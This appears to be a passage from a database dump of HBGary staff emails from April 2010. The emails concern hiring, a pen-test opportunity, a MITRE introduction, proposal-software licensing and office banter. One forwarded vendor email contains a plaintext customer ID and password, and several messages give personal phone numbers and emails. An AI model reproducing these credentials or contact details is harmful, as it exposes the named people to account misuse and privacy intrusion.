message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Mark Trynor &lt;mark@hbgary.com&gt;\r\nDate: April 8, 2010 4:06:39 PM MDT\r\nTo: Ted Vera &lt;ted@hbgary.com&gt;\r\nSubject: Re: Resume\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis is the last one I\'ve gotten from him back in Feb.\r\n&nbsp;I asked him for\r\na recent one with RE focus.\r\n\r\n\r\n\r\nTed Vera wrote:\r\n\r\n\r\n\r\nCan you send me jeffs latest resume, I can\'t find it...\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5578,'aaron_hbgary_com/5578.html'),(5107,'2010-04-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003250.M950203P3547Q5107.eml','\"Ira Entis\" <Ira.Entis@agilex.com>,\"Ira Entis\" <Ira.Entis@agilex.com>,','Re: Voicemail re:services engagement','Ira,Penny has filled me in on some of the details. &nbsp;When would be a good time to discuss?AaronOn Apr 9, 2010, at 4:48 PM, Penny Leavy-Hoglund wrote:Hey Ira,&nbsp;I talked with Aaron and yes we would be interested.&nbsp; Aaron heads up our consulting side, so you two should probably get together.&nbsp;&nbsp;From:&nbsp;Ira Entis [mailto:Ira.Entis@agilex.com]&nbsp;Sent:&nbsp;Wednesday, April 07, 2010 2:55 PMTo:&nbsp;Penny Leavy-HoglundSubject:&nbsp;Re: Voicemail re:services engagement&nbsp;How about tomorrow?On Apr 7, 2010, at 1:54 PM, \"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt; wrote:Good.&nbsp; I have an 11 but that is about it&nbsp;From:&nbsp;Ira Entis [mailto:Ira.Entis@agilex.com]&nbsp;Sent:&nbsp;Wednesday, April 07, 2010 12:15 AMTo:&nbsp;Penny Leavy-HoglundSubject:&nbsp;Re: Voicemail re:services engagement&nbsp;How does your schedule look today?On Apr 1, 2010, at 9:01 PM, \"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt; wrote:Hey Ira,&nbsp;On a plane all day to day coming back from East Coast.&nbsp; I’m in office all day tomorrow, I’m at ext 105, or my cell 408-316-8002&nbsp;From:&nbsp;Ira Entis [mailto:Ira.Entis@agilex.com]&nbsp;Sent:&nbsp;Wednesday, March 31, 2010 7:59 PMTo:&nbsp;Penny Leavy-HoglundSubject:&nbsp;Re: Voicemail re:services engagement&nbsp;Penny -- can we speak tomorrow?- Ira&nbsp;On Mar 26, 2010, at 2:13 PM, Penny Leavy-Hoglund wrote:OK, who do we call?&nbsp; John or Ira regarding this?&nbsp;From:&nbsp;John Edwards [mailto:John.Edwards@agilex.com]&nbsp;Sent:&nbsp;Friday, March 26, 2010 8:19 AMTo:&nbsp;Rich CummingsCc:&nbsp;Aaron Barr; Penny Leavy-Hoglund; Ira Entis; Dave MartinSubject:&nbsp;Re: Voicemail re:services engagement&nbsp;Rich,Wow! &nbsp;I hope the 250 hour effort was successful.I look forward to talking to Penny and Aaron re this new opportunity.&nbsp;From our side, Ira Entis is going to be the focal point at LANL is in his Sector\'s AOR.I\'ve cc\'d Ira on this response.&nbsp;John&nbsp;On Mar 26, 2010, at 11:07 AM, Rich Cummings wrote:Hi John,&nbsp;Thanks for the voicemail yesterday and I hope you’re doing well.&nbsp; Sorry for the delayed response as I just returned from an intrusion investigation where an HBGary engineer and I booked over 250 hours of work in 9 days.&nbsp; I’m trying to play catch up now for the last 10 days.&nbsp; &nbsp;I’m CC’ing Penny and Aaron Barr as HBGary Federal might be interested in pursuing the pen-test opportunity with you.&nbsp;&nbsp;Best,Rich &nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5028,'aaron_hbgary_com/5028.html'),(5108,'2010-04-09','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003251.M215194P3547Q5108.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','FW: Email Intro\'s?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDo you know this guy?&nbsp; Should we\r\nwork with Mitre?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ned Miller\r\n[mailto:Ned_Miller@symantec.com] \r\nSent: Friday, April 09, 2010 2:51 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: RE: Email Intro\'s?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi there&#8230; if you have not\r\nresearched as of yet this is the MITRE initiative I thought your team may have\r\nthe ability to help with some thought leadership&#8230;\r\n\r\n&nbsp;\r\n\r\nhttp://maec.mitre.org/\r\nthey are actively looking for industry partners to work together&#8230;.\r\n\r\n&nbsp;\r\n\r\nBob Martin is the guy at MITRE\r\nthat would be best to initially engage&#8230;.\r\n\r\n&nbsp;\r\n\r\nMITRE Corporation\r\n\r\n202 Burlington RD\r\n\r\nBedford, MA 01730-1420\r\n\r\nPhone: (781) 271-3001\r\n\r\nFax: (781) 271-8500\r\n\r\nE-mail:\r\nramartin@mitre.org\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Friday, April 09, 2010 3:35 PM\r\nTo: Ned Miller\r\nSubject: Email Intro\'s?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWE&#8217;d like to meet with Tony, can you do a quick intro\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice contained herein\r\n(including attachments) is not intended to be and cannot be used by any\r\ntaxpayer for the purpose of avoiding tax penalties that may be imposed\r\non&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to\r\nU.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11676,'aaron_hbgary_com/11676.html'),(5109,'2010-04-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003251.M427246P3547Q5109.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Email Intro\'s?','I don\'t know him but I have worked with MITRE in the past.Whether or not its beneficial for us depends on the group. &nbsp;Most of Mitre is very much like a big contractor, mostly worthless for technology and thought leadership (which is why they will want you), but its worth a conversation. &nbsp;There may be some pull through, but doubt it, but never know. :)AaronOn Apr 9, 2010, at 6:38 PM, Penny Leavy-Hoglund wrote:Do you know this guy?&nbsp; Should we work with Mitre?&nbsp;From:&nbsp;Ned Miller [mailto:Ned_Miller@symantec.com]&nbsp;Sent:&nbsp;Friday, April 09, 2010 2:51 PMTo:&nbsp;Penny Leavy-HoglundSubject:&nbsp;RE: Email Intro\'s?&nbsp;Hi there… if you have not researched as of yet this is the MITRE initiative I thought your team may have the ability to help with some thought leadership…&nbsp;http://maec.mitre.org/&nbsp;they are actively looking for industry partners to work together….&nbsp;Bob Martin is the guy at MITRE that would be best to initially engage….&nbsp;MITRE Corporation202 Burlington RDBedford, MA 01730-1420Phone: (781) 271-3001Fax: (781) 271-8500E-mail:&nbsp;ramartin@mitre.org&nbsp;&nbsp;&nbsp;&nbsp;From:&nbsp;Penny Leavy-Hoglund [mailto:penny@hbgary.com]&nbsp;Sent:&nbsp;Friday, April 09, 2010 3:35 PMTo:&nbsp;Ned MillerSubject:&nbsp;Email Intro\'s?&nbsp;WE’d like to meet with Tony, can you do a quick intro&nbsp;Penny C. LeavyPresidentHBGary, Inc&nbsp;&nbsp;NOTICE –&nbsp;Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)&nbsp;This message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for&nbsp;&nbsp; delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7923,'aaron_hbgary_com/7923.html'),(5110,'2010-04-09','\"Ted Vera\" <tedvera@mac.com>','/aaron@hbgary.com/new/1297003251.M640279P3547Q5110.eml','\"Aaron Barr\" <aaron@hbgary.com>,mark@hbgary.com','pentest tools','http://www.immunityinc.com/products-bundle.shtml\r\n\r\nPen Testing Bundle\r\n',6663,'aaron_hbgary_com/6663.html'),(5111,'2010-04-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003251.M826598P3547Q5111.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Re: Heads up on my proposal to DIA','What are the odds on the timing -- I just checked, and our evaluation\r\nlicense expired TODAY.  I\'ll send Propricer an email asking if I can\r\nget an extension.  I\'ll let you know.  Otherwise, your timelines are\r\nfine, I can do it in a day, no problem.\r\n\r\nTed\r\n\r\nOn Fri, Apr 9, 2010 at 3:23 PM, Bob Slapnik  wrote:\r\n> Ted,\r\n>\r\n>\r\n>\r\n> You had offered to use your proposal s/w to create a proposal with options\r\n> for DIA that looks professional.  FYI, I now have all of the info I need and\r\n> am scheduled to meet them to hand them the proposal Tuesday morning.  If I\r\n> get you a spreadsheet no later than Monday morning, will you be able to\r\n> create the doc?  (Shouldn’t be very long.)\r\n>\r\n>\r\n>\r\n> What info do you need besides items, price, option #, and price expiration\r\n> date?\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',15437,'aaron_hbgary_com/15437.html'),(5112,'2010-04-09','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003252.M174449P3547Q5113.eml','\"Shane Shook\" <sdshook@yahoo.com>,\"Shane Shook\" <sdshook@yahoo.com>','Do you do Web Site testing?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDo you do web pen testing?&nbsp; Or mostly forensic stuff?&nbsp; Aaron\r\nmight have jobs for you\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this message\r\nin error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5379,'aaron_hbgary_com/5379.html'),(5113,'2010-04-09','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003252.M355499P3547Q5114.eml','\"Aaron Barr\" <aaron@hbgary.com>','Some G2 for you','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI was talking to Shane Shook, he get $200-$300 per hour for\r\nlitigation support and $500-$600 for expert witness testimony.&nbsp; He does this\r\nfor companies and keeps a percentage.&nbsp; He says he makes the big money ($400K)\r\ndo the litigation support\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this message\r\nin error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',574,'aaron_hbgary_com/574.html'),(5114,'2010-04-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003252.M4429P3547Q5112.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Order #102373 Confirmation','I hope this works... The sw costs like $7K!\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Fri, Apr 9, 2010 at 5:24 PM\r\nSubject: Re: Order #102373 Confirmation\r\nTo: Brian C Burmeister \r\nCc: Support , Alice Jovalusky\r\n\r\n\r\n\r\nHi Brian,\r\n\r\nThings got a bit hectic.  I just realized my evaluation period ended\r\ntoday.  Is there any chance I can get an extension?  Things have been\r\ngoing pretty well, except for the snag that I called you about.\r\nReinstalling seemed to clear it up.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\nOn Tue, Mar 9, 2010 at 2:18 PM, Brian C Burmeister\r\n wrote:\r\n> Please see email below.\r\n>\r\n> Warm Regards,\r\n>\r\n> Brian C Burmeister\r\n> ProPricer \"Industry Proven\" Proposal Pricing Software\r\n> Office: 704-367-3402     |     Fax: 704-367-2578     |     Mobile:\r\n> 703-665-0443\r\n>\r\n> ------------>8-------------------------------------------8 NOTE: Your email sent to me may not be responded to immediately.\r\n> During the work week, I do my best to respond within 24 hours,\r\n> however I only check my inbox a few hours of the day.\r\n> If immediate attention requested, please phone.\r\n> ------------>8-------------------------------------------8\r\n>\r\n> On Tue, Mar 9, 2010 at 3:03 PM, Ted Vera  wrote:\r\n>>\r\n>> Can you please send me the .inf file reflecting the Company Name as:\r\n>> HBGary Federal, LLC.\r\n>>\r\n>> Change Name\r\n>>\r\n>> To change the company name, you have to inform EBS that you want to do\r\n>> the change and provide the new name. We will send you an information\r\n>> file (file name extension .inf) carrying the new name. After you\r\n>> receive this file, you can proceed with the change. Click this button\r\n>> to open the Select the file containing the new company name dialog box\r\n>> where you can locate the .inf file carrying the new company name.\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>> On Tue, Mar 9, 2010 at 12:18 PM, Alice Jovalusky\r\n>>  wrote:\r\n>> > Dear Ted,\r\n>> >\r\n>> > Thank you for your recent order.  Your order has been processed and is\r\n>> > available for download/installation.\r\n>> >\r\n>> > To download the software, do the following:\r\n>> >\r\n>> > 1. Go to https://support.propricer.com\r\n>> > 2.  It will then ask you for a Customer ID and Password.  Your Customer\r\n>> > ID is TVera and your password is V0E7R8A4.\r\n>> > 3.  Select Downloads tab and then the appropriate file.\r\n>> >\r\n>> > If you have any questions at all, please do not hesitate to call\r\n>> > Technical Support at 951-693-0440 or email at support@propricer.com\r\n>> >\r\n>> >\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal\r\n>> 719-237-8623\r\n>\r\n>\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',6848,'aaron_hbgary_com/6848.html'),(5115,'2010-04-09','sdshook@yahoo.com','/aaron@hbgary.com/new/1297003252.M574582P3547Q5115.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Do you do Web Site testing?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\nI do yes, I typically roll it through Joel\'s company as they are config\'d to support it.  But I do the work of course.Aaron - why do I know your name? - ShaneSent via BlackBerry from T-MobileFrom:  \"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt;\r\nDate: Fri, 9 Apr 2010 16:31:45 -0700To: \'Shane Shook\'&lt;sdshook@yahoo.com&gt;Cc: \'Aaron Barr\'&lt;aaron@hbgary.com&gt;Subject: Do you do Web Site testing?\r\n\r\n\r\n\r\nDo you do web pen testing?&nbsp; Or mostly forensic stuff?&nbsp; Aaron\r\nmight have jobs for you\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this message\r\nin error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8197,'aaron_hbgary_com/8197.html'),(5116,'2010-04-09','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003252.M750454P3547Q5116.eml','sdshook@yahoo.com,sdshook@yahoo.com','RE: Do you do Web Site testing?','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHe heads up HBGary Federal and\r\nhe was at NG TASC.&nbsp; I think you guys talked.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: sdshook@yahoo.com\r\n[mailto:sdshook@yahoo.com] \r\nSent: Friday, April 09, 2010 4:37 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: \'Aaron Barr\'\r\nSubject: Re: Do you do Web Site testing?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI\r\ndo yes, I typically roll it through Joel\'s company as they are config\'d to\r\nsupport it. But I do the work of course.\r\n\r\nAaron - why do I know your name? \r\n\r\n\r\n- Shane\r\n\r\nSent via BlackBerry from T-Mobile\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\n&quot;Penny\r\nLeavy-Hoglund&quot; &lt;penny@hbgary.com&gt; \r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nFri,\r\n9 Apr 2010 16:31:45 -0700\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\n\'Shane\r\nShook\'&lt;sdshook@yahoo.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nCc:\r\n\'Aaron\r\nBarr\'&lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nDo\r\nyou do Web Site testing?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDo you do web pen testing?&nbsp; Or mostly forensic\r\nstuff?&nbsp; Aaron might have jobs for you\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice contained herein\r\n(including attachments) is not intended to be and cannot be used by any\r\ntaxpayer for the purpose of avoiding tax penalties that may be imposed\r\non&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to\r\nU.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13982,'aaron_hbgary_com/13982.html'),(5117,'2010-04-09','sdshook@yahoo.com','/aaron@hbgary.com/new/1297003252.M931061P3547Q5117.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Do you do Web Site testing?','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\nYes, that\'s it thanks PennySent via BlackBerry from T-MobileFrom:  \"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt;\r\nDate: Fri, 9 Apr 2010 16:39:41 -0700To: &lt;sdshook@yahoo.com&gt;Cc: \'Aaron Barr\'&lt;aaron@hbgary.com&gt;Subject: RE: Do you do Web Site testing?\r\n\r\n\r\n\r\nHe heads up HBGary Federal and\r\nhe was at NG TASC.&nbsp; I think you guys talked.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: sdshook@yahoo.com\r\n[mailto:sdshook@yahoo.com] \r\nSent: Friday, April 09, 2010 4:37 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: \'Aaron Barr\'\r\nSubject: Re: Do you do Web Site testing?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI\r\ndo yes, I typically roll it through Joel\'s company as they are config\'d to\r\nsupport it. But I do the work of course.\r\n\r\nAaron - why do I know your name? \r\n\r\n\r\n- Shane\r\n\r\nSent via BlackBerry from T-Mobile\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\n&quot;Penny\r\nLeavy-Hoglund&quot; &lt;penny@hbgary.com&gt; \r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nFri,\r\n9 Apr 2010 16:31:45 -0700\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\n\'Shane\r\nShook\'&lt;sdshook@yahoo.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nCc:\r\n\'Aaron\r\nBarr\'&lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nDo\r\nyou do Web Site testing?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDo you do web pen testing?&nbsp; Or mostly forensic\r\nstuff?&nbsp; Aaron might have jobs for you\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice contained herein\r\n(including attachments) is not intended to be and cannot be used by any\r\ntaxpayer for the purpose of avoiding tax penalties that may be imposed\r\non&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to\r\nU.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11699,'aaron_hbgary_com/11699.html'),(5118,'2010-04-09','\"Richard Montoya\" <richard.montoya@it-harvest.com>','/aaron@hbgary.com/new/1297003253.M100574P3547Q5118.eml','aaron@hbgary.com,bob@hbgary.com','IT-Harvest:  white paper on Advanced Persistent Threat','\r\nHi Aaron, hello&nbsp;Bob.&nbsp; How was your meeting with Richard at Palantir?&nbsp; He mentioned you expressed interest in a white paper on Advanced Persistent Threat.....how can we help you?\r\n&nbsp;\r\n&nbsp;\r\nKindest Regards, Richard D. Montoya Director of New Business Development richard.montoya@it-harvest.com http://twitter.com/rdmontoya http://www.linkedin.com/pub/0/718/364 (O) 203-826-7056 (M) 203-313-3315 \r\nPre-order Surviving Cyber War on Amazon! Richard Stiennon Biography \r\nRichard Stiennon, security expert and analyst, is known for shaking up the industry and providing actionable guidance to vendors and end users. He recently re-launched the security blog ThreatChaos.com and is the founder of IT-Harvest, an independent analyst firm that researches the 1,200 IT security vendors. He was Chief Marketing Officer for Fortinet, Inc. the leading UTM vendor. Prior to that he was VP Threat Research at Webroot Software where he followed and wrote about the rising tide of spyware. \r\n&nbsp;\r\nBefore Webroot, Mr. Stiennon was VP Research at Gartner Inc. where he covered security topics including firewalls, intrusion detection, intrusion prevention, security consulting, and managed security services for the Security and Privacy group. He is a holder of Gartner\'s Thought Leadership award and was named \"One of the 50 most powerful people in Networking\" by NetworkWorld Magazine. In November 2009, he was named by SC Magazine as a security industry pioneer. \r\nStiennon\'s Blog:&nbsp; www.threatchaos.com\r\nSC Magazine Industry Pioneers:&nbsp; http://www.scmagazineus.com/industry-pioneers/article/157220/CRN Security Superstar:&nbsp; http://tinyurl.com/yjk6dxq The NetworkWorld Award &lt;http://www.networkworld.com/power/2003/122250most.html?page=8&gt;\r\n\r\nHis ThreatChaos blog was re-launched in the fall of 2008 and garners 7,000+ page views a day. The author is followed by 18,100 people on Twitter and has a Twitter Grade of 99.96. The Twitter ID @cyberwar has 4,000 followers in the IT security field. The author also manages a LinkedIn Group of security leaders with 3,050 members and publishes the Data Protection Weekly email to 4,400 subscribers. He is in partnership with MiTechNews.com which sends weekly emails to 34,000 people. \r\n',2283,'aaron_hbgary_com/2283.html'),(5119,'2010-04-09','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297003253.M294951P3547Q5119.eml','\"mark\" <mark.trynor@gmail.com>,\"mark\" <mark.trynor@gmail.com>','Re: Addicting','I like their implementation, perfect for mobile apps where battery and performance are concerns. Otherwise you\'d end up with an interface that lags, with choppy transitions. You know, like android. \r\n\r\nTv\r\n\r\nSent from my iPad\r\n\r\nOn Apr 9, 2010, at 6:15 PM, mark  wrote:\r\n\r\n> -----BEGIN PGP SIGNED MESSAGE-----\r\n> Hash: SHA1\r\n> \r\n> Still won\'t even when the new version comes out.  It appears to just be\r\n> API calls into common apps, as chosen by \"the one\", for access rather\r\n> than true multitasking.  Apparently if you jailbreak an iPhone and have\r\n> it multitask it slows to a crawl.\r\n> \r\n> Ted Vera wrote:\r\n>> No he doesn\'t, the iPhone doesn\'t support it. Yet.\r\n>> \r\n>> \r\n>> \r\n>> On Apr 9, 2010, at 5:50 PM, mark  wrote:\r\n>> \r\n>> I\'m multitasking...doing that while I wait for the 3GB to download.\r\n>> Aaron knows about multitasking.\r\n>> \r\n>> Ted Vera wrote:\r\n>>>>> What does this have to do with compiling assembly code?\r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> On Apr 9, 2010, at 5:21 PM, mark  wrote:\r\n>>>>> \r\n>>>>> http://www.labpixies.com/gadget_page.php?id=10\r\n>>>>>> \r\n>> \r\n> -----BEGIN PGP SIGNATURE-----\r\n> Version: GnuPG v1.4.9 (GNU/Linux)\r\n> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n> \r\n> iEYEARECAAYFAku/wyEACgkQJiBdlDsg/MC6lQCdHeeFDO48TExeCJWmV6hoEmM8\r\n> pQoAmwdWMyy7TLN5bb0nPxscw0go7B99\r\n> =1zx/\r\n> -----END PGP SIGNATURE-----\r\n',13303,'aaron_hbgary_com/13303.html'),(5120,'2010-04-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003253.M475470P3547Q5120.eml','\"Ted Vera\" <tedvera@me.com>,\"Ted Vera\" <tedvera@me.com>','Re: Addicting','Nice.  Go screw yourself android.\r\n\r\n From my iPhone\r\n\r\nOn Apr 9, 2010, at 7:51 PM, Ted Vera  wrote:\r\n\r\n> I like their implementation, perfect for mobile apps where battery\r\n> and performance are concerns. Otherwise you\'d end up with an\r\n> interface that lags, with choppy transitions. You know, like android.\r\n>\r\n> Tv\r\n>\r\n> Sent from my iPad\r\n>\r\n> On Apr 9, 2010, at 6:15 PM, mark  wrote:\r\n>\r\n>> 